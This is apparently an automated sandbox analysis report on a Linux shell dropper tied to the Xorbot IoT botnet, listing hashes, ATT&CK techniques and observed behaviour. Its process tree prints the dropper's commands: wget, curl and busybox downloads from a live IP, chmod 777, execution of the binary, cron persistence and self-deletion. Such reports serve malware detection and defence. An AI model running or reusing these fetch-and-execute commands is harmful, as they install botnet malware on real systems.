xorbot | 9a173a8b658d6508f3c3962b85a500820a041f7000f4315a79fa2196a4c5570f

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
03-12-2024 20:26

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General

Target

bins.sh
Size

10KB
MD5

62abe0c6af45fcf3edaaa84cce6a0f92
SHA1

cb4406c75643402b38f5a45e3149b9e44ed0969b
SHA256

9a173a8b658d6508f3c3962b85a500820a041f7000f4315a79fa2196a4c5570f
SHA512

4051c2c6e2bec3080062166847a642f5cfb6ae726fc7c23c6454ea0445e006ad92b4ee628f960a53f9145c7f9d4f46f36101218054988ec315766df5aec608b7
SSDEEP

192:iK+m/fiFKpR5wsYdPYpfXh0AYRfXh0AxpR5wsNK+m/fIK:GKpR5wsYdPYARpR5wsY

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
1491	chmod

Executes dropped EXE 1 IoCs

Processes:

tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ

ioc	pid	Process
/tmp/tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ	1492	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ

Renames itself 1 IoCs

Processes:

tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ

pid	Process
1493	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.kAQC0L	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ

description	ioc	Process
File opened for reading	/proc/448/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1125/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1547/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/165/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1522/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1549/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1589/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/409/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1286/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1529/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1565/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/80/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/253/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/513/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/590/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1129/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1519/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1577/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/16/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/79/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/442/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1148/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1570/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/19/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/507/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1511/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1515/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1568/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1593/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/18/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/36/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1550/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1596/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/167/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/691/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1508/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1516/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1543/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1555/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1583/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1467/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1521/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1541/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1579/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1249/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1463/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/9/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/20/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/84/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/154/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/470/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/645/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1553/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1600/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/457/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/458/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/943/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1043/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1477/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/11/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/197/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1501/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1609/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/78/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ	wget
File opened for modification	/tmp/tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ	curl
File opened for modification	/tmp/tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1465
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1466
- /usr/bin/wget
  wget http://216.126.231.240/bins/tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
  2⤵
  - Writes file to tmp directory
  PID:1468
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
  2⤵
  - Writes file to tmp directory
  PID:1481
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
  2⤵
  - Writes file to tmp directory
  PID:1482
- /bin/chmod
  chmod 777 tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
  2⤵
  - File and Directory Permissions Modification
  PID:1491
- /tmp/tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
  ./tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1492
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1494
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1495
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1496
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1497
- /bin/rm
  rm tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
  2⤵
  PID:1499
- /usr/bin/wget
  wget http://216.126.231.240/bins/DBaGIJP4NBCiyqt8s6ZUhb7RS4zFOfSlSt
  2⤵
  PID:1502

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.kAQC0L

Filesize
210B

MD5
2adfe0cf29c9a712b7b1583b8eb5153e

SHA1
9cc13932688bf77cd3ba3924daa150657f85d385

SHA256
5d9adc848f18dee3c750bc72cf2ee6ac575f61c18147b604724026cbe3007164

SHA512
33651e69fd00fde8d6b1439c4356540f44b94e0ce15faf5d42e5a366837970c2f684ed8301037e8e82a7e93aaad75ceaaedb462af7a83ce05b0e28002b3591e9

Download Submit